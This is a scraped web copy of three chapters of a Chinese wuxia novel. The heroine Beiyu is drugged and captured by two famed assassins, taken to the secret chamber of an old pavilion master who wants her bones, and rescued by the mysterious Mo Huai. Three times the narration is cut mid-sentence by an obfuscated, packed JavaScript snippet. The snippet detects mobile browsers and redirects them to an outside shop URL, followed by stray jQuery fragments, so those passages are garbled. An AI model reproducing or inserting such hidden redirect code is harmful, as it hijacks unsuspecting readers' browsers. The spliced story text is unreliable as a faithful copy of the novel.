叶一片傻在那里,生平第一次,他见到跟北羽一样美的女人。 ……………… 书房内,李宗主爱惜抚摸海刀夫子的佩刀,“想当年我跟随师父练刀,从早练到晚,夜里只睡两个时辰,可惜,差在天赋上面,无缘霸刀。” 海刀夫子悠闲品茶,“过去多少年的事了,你少吐酸水。我在武道上略胜你一筹不假,但你和心爱女子成婚,有了两个孩子,而我孤家寡人一个,收养的便宜儿子还不省心。” 忆起爱妻的一颦一笑,李宗主心中一暖,“人这辈子,只要跟心爱的人在一起过,轰轰烈烈爱过,哪怕再短暂,也值了。” “我还是要谢谢你,同意雪君入学斋,这孩子习武天赋随我,中流而已,心气相貌却随她娘。当年姬儿拒绝李念念,嫁给我这个平平无奇的落魄宗门宗主,我一直觉得对不住她,倘若雪君有朝一日能出人头地,也算慰祭姬儿在天之灵。” 海刀夫子摆摆手,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491617|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咱俩谁跟谁,再说,你之前也把炎武宗的追踪秘术教给了我。” 李宗主:“忘了问你,你学追踪术作甚?” “一个月前,罗刹堂派了女郎花暗杀我的学生北羽,被我一刀斩了头颅,趁北境分堂主来拿脑袋的时候,我用了追踪术,随他去了东海,找到了罗刹堂的老家。” 海刀夫子轻描淡写,李宗主吓出一身冷汗。 “你去了罗刹堂总部!被发现了吗?有没有受伤?” “我没事,可你仔细想想,其中不对劲的地方。” 李宗主稍作思索,很快发现问题。 “罗刹堂遍布天下各地,东海罗刹堂虽为总堂,但天高皇帝远,其他各地的分堂,许多年前就不受控制,圈地自主,北境分堂主为何贸然前去东海总堂?” “我也不知道,只是,在我到了东海不久,罗刹堂就发了一件惊天动地的大事。”海刀夫子神色凝重起来,李宗主甚少见他如此严肃,愈发好奇,“什么大事?” “……你猜?” “……” “爱说不说,不说我走了。” “别走啊!我告诉你,真告诉你。”海刀夫子拉住李宗主,把他摁在座位上,给他倒了杯茶,“切勿着急,喝口水,我慢慢讲。” 李宗主抿了一口。 海刀夫子趁此机会道:“罗刹堂的东海总堂主失踪了,西海分堂主死了!” “噗!” 这话惊得李宗主嘴里的茶水全喷了,海刀夫子得逞,哈哈大笑。 “好啊海刀,你故意戏弄我,我要捶死你!”李宗主握起拳头。 海刀夫子:“我没骗你,这是真事!我也纳闷呢,更离奇的在后面,你听不听。” 李宗主翻了个白眼,“听。” “东海罗刹堂总部,在一夜惊变后,居然人去楼空,其他各地的分堂也销声匿迹。江湖上最神秘的组织,以及世间最懂杀人,最会杀人的一批高手,人间蒸发了。”海刀夫子连比带画道。 天知道当时他有多震惊,守住这个秘密又有多憋屈,今天总算逮到一个人可以讲了。 李宗主:“莫非,罗刹堂内的杀手们厌倦了杀人,造反之后,原地解散了。” “我看不像。” 海刀夫子道:“如果解散,为什么不放火把罗刹堂总部烧了,彻底掩盖踪迹,我潜进去看过,里面的杀人卷宗都在呢。可惜,追踪术有时限,不然我继续跟踪北境分堂主,也许能找到答案。” “罗刹堂出此惊天变故,若不是解散,那便是在酝酿一个大计划。”海刀夫子面带惆怅,“罗刹堂究竟要干什么,我不在乎,只是担心北羽。” “哦?”李堂主看向海刀。 海刀夫子:“北羽是一个惹人觊觎的孩子,仙骨的诱惑,对某些人,某些势力而言非常大。多亏,她的师父是白发剑圣,即便白发剑圣不再是天下第一,他依旧拥有,想要镜悬大陆之中任何一个人死,那人就必死无疑的力量,因此,那些暗处蠢蠢欲动的家伙,不敢去实施他们的想法。” “唯独,有那么一个人,他不会在乎白发剑圣有多强,或者说,他巴不得白发剑圣去追杀他。” 李堂主领悟道:“你是说,东海魔教教主,斐翠然。” 海刀夫子点头,“斐翠然跟白发剑圣之间的纠缠,不是个秘密,罗刹堂惊变后,查出幕后真凶的线索断了,我理所当然,首先怀疑了斐翠然,毕竟他有足够的动机去干这件坏事。 然后,我顺道去见了他一面。” “什么!你单独见了斐翠然那个大魔头!”李堂主吓个半死,感觉他的心脏,快交代在这里了。 “是啊,那又怎样,老子又不比他弱,老子不怕他!”海刀夫子哼了一声。 李堂主无语,“那找罗刹堂暗杀北羽的人,是他吗?” “他说不是。” 李堂主担心道,“他会不会在撒谎。” 海刀夫子:“斐翠然是一个很危险的角色,白发剑圣与他有不共戴天的杀妻之仇,若真是他去罗刹堂下的单子,目的定是引白发剑圣去找他报仇,没必要跟我装无辜。” “但我实在想不明白,除了光脚不怕穿鞋、死猪不怕开水烫的斐翠然,天下还有哪个蠢货会冒着被白发剑圣劈成六块的风险,执意要北羽的命。” 21. 卷一·学宫试剑 天枢城东区,落英巷。 馄饨摊前的大锅腾腾冒着热气,身材高挑的老板掌勺,矮半头的老板手指灵巧地包着馄饨。 青色葱花漂浮在汤面上,水晶皮裹着鲜美的肉馅,隐约可见弯月似的虾仁,北羽用勺子搅着汤,她不喜吃滚烫的食物。 等饭凉太无聊,她跟两个老板搭起话,“二位是姐妹搭伙做买卖?还是同乡呢?” 矮个老板笑嘻嘻:“同乡,这年头搭伴讨个活头,比单打独斗强。” 配着辣椒香醋,北羽吃了个馄饨,味美可口极了,“你们是只在落英巷卖馄钝,还是走动着卖?” “怎么了?”高个老板问。 “馄饨很好吃,我想带朋友尝尝,可他们住得离这里远。” 高个老板:“换着地方卖,不过,明天去哪摆摊,后天去哪摆摊,我们也不知道,随波逐流罢了。姑娘今天恰好碰见我们。” “怪不得,我在落英巷住了两天,今个儿第一次看见你们,帮我包上五份带走吧。” 北羽喝了几勺汤,细细品味,嘴里的清甜味道莫名熟悉,“你们用的鸡……是河田鸡啊,这鸡可不便宜。” 两个老板互相看了一眼,矮个老板不吭声,高个老板笑了笑。 一个小馄饨摊,怎么会用这么贵的鸡炖汤底……不太对劲,北羽放下勺子起身就走,矮个老板喊道,“你打包的馄饨没拿!” “不好意思,我不要了。”她将钱扔在桌上,转身往巷子里走去。 手刚搭上门,有东西拽住她。 她低头一看,吓一大跳,竟是个一岁多的娃娃,粉雕玉琢,水汪汪的大眼睛十分无辜。 “姐姐。” 北羽迟疑了,一瞬间的犹豫,她就输掉先机。 暗器从娃娃空洞的嘴中射出,脱臼的下巴,布满死气的脸颊,毫无疑问是傀儡术。 被逼出巷子的北羽,站稳脚跟,方才人流稀疏的街道,此刻空荡荡,馄饨摊上仍旧是两个人,只是装束大不相同。 平凡的面孔,变得极其美丽。 矮个红衣女子,裙摆如花苞盛放,像条漂亮的红锦鲤,她背着一个精致的长木匣盒,双髻缠着长长的红丝带,灵动飘逸。 高个女子一袭蓝衣,出尘脱俗,双剑傍身,清丽无双,端着杯子,安静品茶。 “罗刹堂?” 熟悉的空寂感,唤醒北羽对一个月前那场黑夜刺杀的记忆,她拔出残仙。 红衣女子:“谷深月。” 蓝衣女子:“高姗雪。” 北羽顿时僵住。 这两个名字,她听过,之前打探北境第一杀手月冷花的时候,她听人提过其余三位有“第一”称号的杀手。 传闻,这四人是罗刹堂最好的刺客,每个人都是步入羽化境多年的高手,在腥风血雨中磨练出绝顶身手,身怀绝技,名号能止小儿夜啼,为镜悬大陆最恐怖的杀手。 北羽想不通究竟什么人在背后买通罗刹堂,派出的杀手一次比一次强。 谷深月率先动身,落在一处屋檐上,身后木匣蜘蛛一样吐出无数银丝。 北羽顿感不妙,举起剑来,右臂传来剧痛,一根染血的绞丝弹荡,她这才惊觉,自己四面八方布满了肉眼难辩的罗刹暗器,铁绞丝。 “这条街已经被我布下化虚大阵,你逃不掉,反正,你连我亲手做的断头饭都吃了,何必再挣扎。” 谷深月甩出三柄飞刀,北羽把残仙横在左臂前,凭剑身的锋利抵住绞丝,躲开这一击。 她正要反攻,突感一阵虚软,向来充盈的内力,在迅速消失。 “你们下毒了!” 高姗雪:“是,专门从东海黑蛊林带来的蛊毒,专门蚕食习武者内力,珍贵至极。我们将它包在了馄饨里,你一共吃了四枚,大约几百只虫卵,” 这下麻烦大了,北羽小口喘气。 谷深月眨了下大眼睛,“北羽妹妹,你就像一只掉进蜘蛛网里的猎物。” “……错了,我的剑太重,我也是,蜘蛛网兜不住我们。残仙,起!” 北羽催动剑气,残仙剑威势大振,震碎附近的绞丝,谷深月见状连发十几道飞刃,射向她四周。 北羽记起有关谷深月的传闻。 这位南境第一杀手,武器为绞丝飞刃,擅布碎尸阵,以此闻名天下。传言,群战时,她会从最弱的一人开始杀,飞刃留在尸体上,战到最后的强者,会在顷刻之间死于同伴尸体上飞刃尾端绞丝组成的碎尸阵。 已经失去一半内力的北羽,不敢托大挑战能连杀三个羽化境高手的碎尸阵。 眼看阵法未成,她凝神静气,挥动残仙。 剑气环舞成形。 梅花蕊香,却朵朵残破,金柳轻盈,却片片开裂,花与叶纵横交错,铺天盖地袭向谷深月,谷深月大惊,收敛绞丝,坐在木桌前的高姗雪拍案而起。 剑势杀来,绞丝乱舞。 双剑出鞘,凌厉无比。 然而。高姗雪动作慢了些,谷深月还是被剑气所伤。 谷深月吐出一口血,右胳膊多了一道深可见白骨的剑伤,她连点几处穴位,微止住血,“你竟还有余力使出如此强大的一招。” 高姗雪察看她的伤势,除了伤口流血,附近皮肤也出现了梅花瓣和柳叶片形状的血印。 “这一剑,是仙剑术?”高姗雪冷冷看向北羽。 北羽:“这是我自创的一剑,名为残梅碎柳。”前日她和江吟歌对剑之后,悟得此剑法,尚未完善,凭她仅存的内力,也只能使出这种水准的剑招了。 谷深月:“雪儿,别跟她废话,快动手!” “好,小月,你先退后。” 高姗雪飞身攻向北羽。 三柄剑缠斗在一起,剑刃相铮。 高姗雪左右手使不同剑法,变幻莫测,剑势锐不可当,北羽险些招架不住,连过二十招,方且稳住阵脚。 她早就听说,东海第一杀手高姗雪,乃天下使双剑的第一人,剑法排进镜悬大陆前十,今日一见,名不虚传。 如此奇妙剑术,若是寻常比武碰见,定然是一场酣畅淋漓的比拼。 可惜,高姗雪是来杀她的。 …… 高珊雪也惊讶于北羽的实力。 明明才入羽化境,中了魔蚕蛊,却能在她手下撑这么久,高姗雪仿佛看见北羽日后登顶武道、剑道巅峰的样子。 可惜,不会有以后了。 她突弃左剑,一掌打在北羽胸口,北羽猝不及防,踉跄后退,感到一阵剧痛。 “我这招叫化骨绵掌,寻常人中掌,非死即残,不知换作仙骨,能发挥几分威力。” 骨裂的疼痛,难以形容,北羽咬牙硬撑。 若无援手,她必输无疑了。 化虚大阵借生灵之力凝阵,上一回女郎花把阵眼藏进树中,被南戏霖识破,这一回她观察四周,连根草都没有,谷深月的阵法造诣显然在女郎花之上。 为今之计,别无他法,唯有赌一把。 北羽勉强举起残仙,“太上忘情剑法第一式,银龙啸!” 没有云霞,没有仙乐,纯粹的剑气贴地而行,四处瓦片掀起,化为白龙剑势。 高姗雪挡在谷深月前面,启动剑柄内的机关,细长白绸流水般泄出。 她抛出双剑,舞动白绸,剑身灵动宛如虹光,贯穿太阳,两束虹光,绣花一样反复刺穿银龙,令人眼花缭乱。 这种靠白绸操控双剑的手法,极其考验心性,高姗雪明显已经达到人剑合一的境界。 不愧为天下使双剑第一人,好一个双虹贯日剑法,果真厉害。 北羽终于支撑不住,倒地陷入昏迷。 保险起见,谷深月先飞了一支针,刺入北羽睡穴,才走近拿起残仙剑,“这就是天下十名剑之首的残仙剑啊,果真非同凡响。” 高姗雪收起剑。 “方才,残仙剑贴地而行,有没有破开你设在泥土里的化虚大阵。” “破开了一瞬。多亏你及时将北羽的剑势斩碎,否则,我的化虚大阵现在已经烟消云散了。” 谷深月看向右臂伤口,埋怨道,“都怪你,非要用更贵的鸡熬汤,不然,她就会吃掉一整碗魔蚕蛊,我哪里会受伤。” 高姗雪:“断头饭还不让人吃好,也忒没良心了。况且,除了魔蚕蛊,我也在空中下了醉梦散,谁料没起效。” “哼!哪天我死了,你的良心就没了。”谷深月嘟起嘴。 “小月,这话不能乱说。”高姗雪轻轻蹙眉。 “知道了。”谷深月扫向四周,“还不赶紧出来,把人带走,磨蹭什么呢!迟则生变的道理,还要姑奶奶我教吗!” 四道人影从角落闪出,面覆黄金罩,身披灰色金花长袍,他们抬起地上的北羽,为首者对谷深月、高姗雪施礼,“多谢二位大人鼎力相助,今日之恩,没齿难忘。” 谷深月懒懒打了个哈欠,“恩情不敢当,希望你们主子能履行承诺,坚守誓言,这一次我们罗刹堂赌上一切,容不下半点背叛。” “当然。” 灰袍人们带着北羽消失在小巷里。 高姗雪叹了口气,“北羽这种百年难遇的仙人之姿,竟要命丧于老匹夫之手,可惜了。” 谷深月:“她不一定会死吧。” “作为一个剑客,失去握剑的能力,沦为庸俗,便是死了。”高姗雪微微摇头,又是一声叹息,同为剑客,她对北羽有惜才之心。 谷深月哼了两声,“把你的气,留给我叹吧。指不定,哪天白发剑圣就杀上门来,为徒报仇了,千万别告诉我,你不怕白发剑圣。” “当然怕。白发剑圣是镜悬大陆实力最强的人之一,杀死你我,于他而言,如同喝水一样容易,不过,我可以保证,他杀你之前,必须先杀我。” “除非我死了,否则,谁也别想取你的性命。” 谷深月听完笑了,她轻轻弹指,灰尘扬起,二人身影消失不见。 落英缤纷,掩盖硝烟。 匆匆赶来的黑衣少年,嗅着蔷薇花香扣响门,迟迟无人来开。 他等了一会,翻墙入院。 蔷薇花架占据半个庭院,怒绽芬芳,少年喊了几声,无人回应,在院子里转了一圈,刚要离开时,忽然发现什么,他蹲下去,扒开挤在一起的蔷薇花。 一枚精钢锻造的飞刃,插入青砖三寸,闪烁冷芒。 少年拔出飞刃,皱起眉头,“……北羽。” ……………… 残留些许意识的北羽,感觉她被抬着走过很多地方,复杂的五花八门的味道从各处涌来,像被密不透风的海水包裹,像是被藏在一朵花的蕊心, 最后,她闻到一股陈旧的气息。 很老,像一块老树皮。 她悚然惊醒,布满皱纹的苍老面孔近在咫尺,死鱼一样泛白的眼珠,一动不动盯着她。 “啊啊啊啊!” 北羽尖叫,嗓子却发不出声音。 “嘘。”皱皱巴巴的手指竖起,恐怖的老脸往后移了一段距离,她才看清面前的家伙不是怪物,而是一个老人,只不过他太老了,显得格外怪异。 “你是谁?” 微弱声音响起。 北羽惊讶发现,她不是哑巴了,而是不能大声讲话。 “就是你在罗刹堂下单杀我!” “是我。” 白袍老人微笑,衣料的银色绣纹蜿蜒如蛇,北羽忽觉这件袍子眼熟,努力回忆后震惊道:“神机阁!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491618|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白袍老人:“倒还有点眼力。北羽,你我许久未见了。” “我没见过你。” 她前段时间打探月冷花消息的时候,去过神机阁,但接待她是一个年轻人。 “贵人多忘事啊。若无老朽一番话,何来名扬天下的仙骨。”白袍老人笑容加深,越发像话本子里成精的老树妖。 北羽试图调动内力:“少卖关子,我警告你,我师父可是白发剑圣乌去云,我死了,他定会追杀你到天涯海角!” “哈哈哈!乌去云?一个栽倒在女人身上,空长年纪的毛头小子,情关未过,大道不成,我一个将死之人,何惧那厮。” 北羽登时恼火,朝白袍老人狠狠啐了一口,“死老头子,你骂谁呢!” 白袍老人吓了一跳,“好粗鲁的作派,亏我当年还替你摸骨,扬你之名。” 话说到这份上,北羽终于记起来他这一号人物,“你、你是神机阁的阁主天机老人!天呢,你怎么还活着!” 十六年前,她出生之时,天有异象,惊动四方,神机阁的阁主天机老人,特意赶到怜雪城为她摸骨,断言她有仙人之姿,将会成为镜悬大陆飞升第一人,致使她的仙骨之名传遍大江南北。 那时,天机老人已经一百零六岁了。 “不想死,于是就活着了呗。”天机老人从喉咙里挤出笑声。 北羽脑子有点转不过来,“我与你无冤无仇,你找人杀我作甚!” “取你的骨头啊。” 天机老人颤颤巍巍走到一个柜子前,用钥匙开锁,拿出里面的药瓶,倒进碗里,斜睨着北羽,搅和药,“我是个贪心的老家伙,活得越久,越想活,自从二十年前,我的侄子想办法替我续了一回命,我就沉迷延寿之术。” “可惜,我不如我侄子,翻遍世间古籍,多次拜访星地,也难寻机遇,幸好,世界上还有你这位仙骨在。 仙人之骨,妙不可言,可以创造生命,也可以毁灭一切。 你北羽的仙骨是天生的,你师父乌去云是后天修炼太上忘情心诀淬炼的,你的比他好,你又比他弱,我当然首选杀你取骨。” 天机老人端着药碗,回到北羽面前,活脱脱疯子样。 北羽看着紫色的汤药,仿佛看见她中毒后七窍流血的惨状,直冒冷汗:“就算你靠我的骨头活了下去,我师父还是会去杀你,你照样得死。” “不如,咱们商量一下,你先别杀我,我愿意把左手的小拇指借给你试一试,等你真的延年益寿了,再杀我也不迟。” 天机老人看了看手中药碗,解释道:“别误会,这不是毒药,它叫无痕,能让人忘记一切。放心,我已经不打算杀你了。” “啊?” 北羽疑惑。 天机老人:“一个月前,我确实想杀你,但那次暗杀失败后,我寻思了一宿,同时得罪学宫和白发剑圣,神机阁也吃不消。于是,我改主意了,活捉你取四根肋骨,虽然这样一来,你会变残废,可至少保住了性命。” “我会把失忆的你送去一个偏僻安静的小山村,安排你嫁人生子,再留下线索,让学宫和乌去云把大部分时间和精力,花费在寻找你上面。 拖到两年之后,我侄子出来,即便乌去云想杀我,也得掂量掂量。” 北羽沉默,天机老人颇为得意,“老朽够仁慈了吧。” …… 残废失忆? 嫁人生子? 仁慈? “臭傻缺!我要杀了你!”北羽破口大骂,把在天枢城街头学到的脏话全部用上,恨不得一口口咬死天机老人。 天机老人权当蚊子嗡嗡,抬头看了眼密室顶上金色的星月薄纱。 替他建造这间密室的,为开阳城鲁公后人,按他要求在唯一的出入口,设下来自星宫的机关密术,灌入灭魂销骨水。 薄纱中来回涌动的半透明液体,一滴就能穿透皮肉,腐蚀白骨,除非披着价值连城的宝物金蝉纱,否则,伸根手指进去,整条胳膊都会化为脓水。 即便是白发剑圣现在杀来,也破不开阵法,进不来。 不会有意外的,天机老人压下心中莫名涌起的不安。 从十二岁起,精准到可怕的直觉,救了他无数次。宫变时,他找出背叛者,保全了自己跟侄儿的性命,接手神机阁多年,每次内乱,他都能及时扼住要害。 这一回他假意背叛侄子,哄罗刹堂强虏北羽,也算破釜沉舟,逆天续寿了。 就算再不安,他也要干下去。 …… 眼前的景色开始模糊,天机老人苍老的脸,旋转成圈,北羽咬住舌尖,想要维持清醒,天机老人絮叨道:“何必为难自己,老朽不喜欢折磨人,你喝了这碗麻沸散,睡一觉,什么都过去了。” 褐色苦药,荡漾着水纹,每一道都藏着令人作呕的心思。 她不要。 …… “啊啊啊啊!啊啊啊!” 尖叫嘶吼,刺穿万物,直落在北羽耳畔。 谁?谁来了? 好痛苦的叫声…… “啊啊!啊啊啊!” 药劲涌来,北羽拼尽全力,掀开眼缝,只见一团血肉模糊的东西,从天而降,落在天机老人身上,残缺的肉糊之下,白骨清晰可见。 刺耳的惨叫,正是他发出的。 北羽昏沉眨眼,听见一道转瞬即逝的痛苦闷呛。 一只白骨手掌穿透了天机老人的喉咙。 鲜血喷涌,透过天机老人喉咙上的窟窿,她看见一双黑漆漆的东西,等她意识到,那竟然是一个人眼睛的时候,持续的惨叫停止了,北羽彻底陷入昏迷。 密室顷刻寂静,唯有血液在流淌。 肉沫堆里的眼珠转来转去,浮现悲痛之色。 22. 卷一·学宫试剑 一方天地,循环往复。 打小北羽就听师父讲,她跟别人不一样,周身经脉,能自行其道,血肉骨骼,可抵御外邪,即便只剩一口气,也能比旁人多活十年。 即便是东海黑蛊林的魔蚕蛊,也在她超乎寻常的代谢下最终失效。 醒来的北羽挣开铁链,一脚踢开凉透的天机老人尸体,瞅见不远处的案几上,裹满黄符,缠成麻花的剑匣子,不禁骂道:“老不死的东西,用这些破烂玩意锁我的剑。” 她一掌劈开匣子,取出残仙剑,打量起天机老人的老巢。 密室中堆满书卷册子,一瓶瓶的秘药锁在柜中,摆列整齐的黑匣子钉在墙上,不知装着什么。 好一个藏宝之地,指不定发生过多少龌龊事。 北羽冷哼一声,瞥了眼地上的天机老人尸体,冷笑一声,脚下用力,踢飞了他头,随后,她看向雕花书架。 原本穿在天机老人身上的银纹白袍,此刻正搭在书架上,盖住了一个“人”。 鲜血将白袍染成血红。 她叹息一声。 那个救了她的好心“人”,八成是受了天机老人豢养迫害,搞成一副鬼样,她定要将尸骨带出去,好生安葬,年年祭奠。 北羽弯腰靠过去,用剑小心挑开血袍。 倏忽,袍子抖动了一下。 细腻柔软的布料滑落,一张人脸露了出来。 白皙的皮肤泛着初生婴儿般的粉嫩,墨黑发丝被血黏在一块,带着微微腥气,薄薄的嘴唇是淡红色,秀挺的鼻子如美玉般精致,瞳孔像白宣纸上落下两滴墨,慢慢渲染,底色是挥之不去的哀伤,干净澄澈宛如林中小鹿。 极好看的模样,清隽中透着柔和,捎带一分艳丽。 北羽呆住。 她过于熟悉的半张脸,以及熟悉的一双眼,竟然同时出现。 “……你……是莫淮?” “嗯!” 莫淮惊慌失措捂住脸,随即震惊睁大眼,不久前被腐蚀成白骨的一双手,此时已经恢复原样,完全毁掉的皮囊,居然也重新丰盈光滑。 “莫淮,你……怎么会在这?” 通过眼前人慌张的神态,北羽确定了他的身份,无比疑惑。 莫淮习惯性低头,遮住有胎记的半面脸,“白日你从茶馆走掉后,我一直跟着,本来想跟你打招呼,可是……有唐引琼在,我怕打搅你们。 后来,我跟着跟着,你不见了。我在你的院子里发现了凶器,拿它去了学宫。 学宫的夫子一听你出事了,特别着急,我悄悄跟着他,最后到了神机阁。 海刀夫子杀了不少人,才找到密室,但是他进不来,嚷着得去寻什么金蝉纱,我趁他不注意,闯了进来,然后……就这样了……” 啧,怪会避重就轻的。 她被他跟了一路,没察觉,海刀夫子被他跟了一路,竟也没察觉,莫淮不会武功,是怎样做到尾随羽化境高手的? 金蝉纱是镜悬大陆最好的贴身护甲,百毒不侵,御寒御火,刀枪不入,非得穿上它才能通过的门,必定设下了致命之物。 北羽抬头看了一眼顶上的星月薄纱,想起昏迷前看见的血肉模糊的莫淮,大约猜到,里面来回涌动的液体是什么了。 明明全身被腐蚀,严重失血,却安然无恙活了下来,莫淮究竟是什么人呢? 她的神情愈发高深莫测。 莫淮紧张的不行。 当他全身沾上灭魂销骨水,皮肉腐烂,骨髓剧痛之时,已然做好赴死的准备,也以为自己必死无疑。 即便他过去曾在无数次毒打之下存活、恢复,经历过极致的痛苦,却仍旧无法抵抗销骨水带来的灭顶之痛。 他强撑着一口气,杀了那个试图伤害北羽的老头子,又怕北羽醒来看见他的尸体害怕,于是扯下老头的衣服披在身上。 本来,他救下北羽,死而无憾。 谁知,他居然没死! 北羽肯定会发现他是一个怪物,不,他比怪物更可怕! 北羽慢悠悠贴近他,看着近在咫尺,满眼探究的北羽,莫淮连呼吸都停止了。 “噗!哈哈!” 她突然一笑,“怕什么呢,你是我的救命恩人,就算你是妖怪变的,这份恩情我也必须领,走,我带你出去。” 她把莫淮扶起来,“不用遮脸了,你的胎记没了,回去照照镜子,你长得一点也不丑,好看得紧呢。” 就是……像一个人。 莫淮怔住,不知该庆幸北羽不追究他,还是该庆幸他终于有了一张能见人的脸皮。 这算不算因祸得福? 北羽接着说道:“待会我用剑破开密室,你抱紧我挡住脸,绝不能让夫子看见你,他老早受了我师父的嘱托,格外警惕接近我的男人,一旦他发现你的异状,这事就瞒不住了。” 莫淮沉默一会,“……北羽,其实我……” “别说了。”北羽打断他,“何苦勉强自己硬把话讲出来,等哪天你发自真心想告诉我了,我再听你讲也不迟。” 大千世界无奇不有,莫淮拼死拼活救了她一场,哪怕他是借尸还魂的鬼怪,她也认了。 “快抱住我!” 莫淮搂住她腰,脑袋恨不得缩进脖子去,北羽笑了,害什么羞啊,不就抱一下。 残仙出鞘,一剑挥下,势如千军万马。 密室崩塌,灭魂销骨水倾泻而下,剑影绵密,护住二人。 虹光划破黑夜,屹立天枢城几十年的神机阁,轰隆隆倒下半截,宛如天崩地裂,惊得周边陆陆续续亮起灯火。 混乱之中,莫淮的眼神始终追随北羽,她嘴角噙着一抹笑,畅意、潇洒。 大难临头没死成,自然痛快。 始作俑者自食恶果,当然畅意。 一剑劈开了神机阁,更是潇洒。 …………… 落地之后,北羽叫莫淮先回茶馆,不忘嘱咐他一句,“明天我将乘花车游行,踏遍整个天枢城,别忘了看我。” 莫淮羞涩点头。 夜色茫茫,繁星点点。 北羽倚坐墙根,半晌过后,等来了满头大汗的海刀夫子。 “我的姑奶奶哟!你没事吧!” 他拉着北羽转了一圈,北羽安抚道,“您放心,轻伤罢了,来龙去脉我都明白了,天机老人想续命,盯上我,去罗刹堂开了高价,引来女郎花和谷深月、高姗雪。” 海刀夫子随她一起坐在墙角下,缓了半天,“天机老人竟然还活着,并且打起你的主意,世事莫测啊。” “他现在死了。” 北羽轻描淡写,海刀夫子神色凝固,“你……把他杀了?” “对!他不死,死的就是我,所以不许用这种闯祸的眼神看我,我也是被逼无奈。” “哎……这都什么事啊!”海刀夫子闷声道。 不过比起北羽出事,他宁愿接受天机老人死了,反正学宫跟神机阁十年前就结怨了。 “也罢,他死就死了,尸体呢?” “没了,死无全尸。” “……你可真行。” “不赖我,他自个设的机关。”北羽拒绝背黑锅,“夫子,你知道天机老人的侄子是谁吗?老家伙临死前嚷嚷只要他侄子出来,我师父他都敢不放在眼里。” “他侄子该不会是一个闭关的绝世高手吧?将来,会不会找我寻仇。” 听完她一通话,海刀的表情丰富极了,像是大白天见了活鬼,走夜路撞了土匪,吃菜吃出手指头,喝酒错喝成醋。 北羽从来没有见过海刀夫子的脸色这么难看,一时提心吊胆,小心试问道:“莫非他侄子是……西海无极宫的大宫主李念念?” “不是。” “星地的星皇?” “不是。” “南境的天心女帝?” “也不是。” 北羽讪讪道:“总不会是轩宸帝吧……” “更不是。” 她唰地站起来,“那你吊什么脸,他侄子也不是什么大人物,我不信我跟我师父加起来,还能打不过!夫子你尽管告诉我,天机老人的侄子什么人!” 海刀夫子闭上眼,“小点声行吗,实话告诉你,他侄子比你口中的那几位加起来还阴险,不仅小肚鸡肠,更是睚眦必报。” “什么!他侄子比皇帝还牛!我怎么不知道天下还有这号人物。夫子,你在蒙我吧,难道……他侄子是东海魔教的斐翠然?” “斐翠然也就给他侄子当小弟的份。别问了,我不会告诉你这人是谁,他的名字是一个禁忌。” 北羽大吃一惊,到底谁这么大神通,“但是你不说,将来人家也会找我算帐。” 海刀夫子:“如果真有他出来找你算账的一天,那天下必已大乱,多你这一桩债,少你这一桩债 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491619|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,无所谓了。 勿将此事放在心上,明天是你花车游行的大好日子,赶快回去收拾一下,睡觉吧。” “夫子,你太敷衍我了!” “敷衍又怎样,大人的事,小孩少打听。” 神机阁的烂摊子,已经毫无挽回余地,海刀夫子索性丢给亲信处理,他有一件更重要的事,同北羽细讲,北羽只能气鼓鼓跟他回了学宫。 ………… 十斋院内静悄悄。 海刀夫子把北羽失踪的事,瞒得严严实实,在他心中,十六七岁的少年跟三岁孩子没区别,抗不了事。 开门前,海刀夫子故意咳嗽一声,“屋里堆了点东西,莫要大惊小怪。” “瞧您这话说的,我刚死里逃生回来,就算床上躺了十个裸男,也是面不改色。” 她自信满满推开门。 下一秒,尖叫回荡在院内。 海刀夫子眼疾手快,掏出一枚山楂堵住她的嘴,拽进屋关好门。 北羽被酸得倒牙,见桌上摆了荔枝,她剥开塞进嘴里,指着满屋的金银财宝,绫罗绸缎,含糊不清道:“夫子,你太坏了,贪了学宫这么多钱和宝贝,还总是哭穷。” 满满三大箱金砖,摆在屋子中央,金光灿烂。寸布寸金的名贵锦缎,彩霞般流淌在灯下,炫彩生辉。最惹眼的,是一尊三尺高的金玉翡翠佛像,浓绿剔透,蔚为壮观。 北羽啧啧赞叹,“夫子,你真是巨贪呢。” 海刀夫子弯曲中指,敲她脑壳,“再贫嘴试试!我可是天枢城响当当的清官,这些物件全是送给你的。” “啥!” 北羽吓得头皮发麻,下意识脱口而出:“天杀的!无极宫派人来提亲了吗!” “关无极宫什么事。” 海刀夫子两眼一翻,掐着嗓子,装腔作势道,“北羽少侠,这些都是你夺了试剑大会魁首后,各路达官显贵、皇子皇亲,巴结孝敬的礼物,您看怎么处置。” 北羽别别扭扭道:“夫子,我压根不懂世家贵族朝廷势力间的弯弯绕绕,你为什么不替我拒绝。” 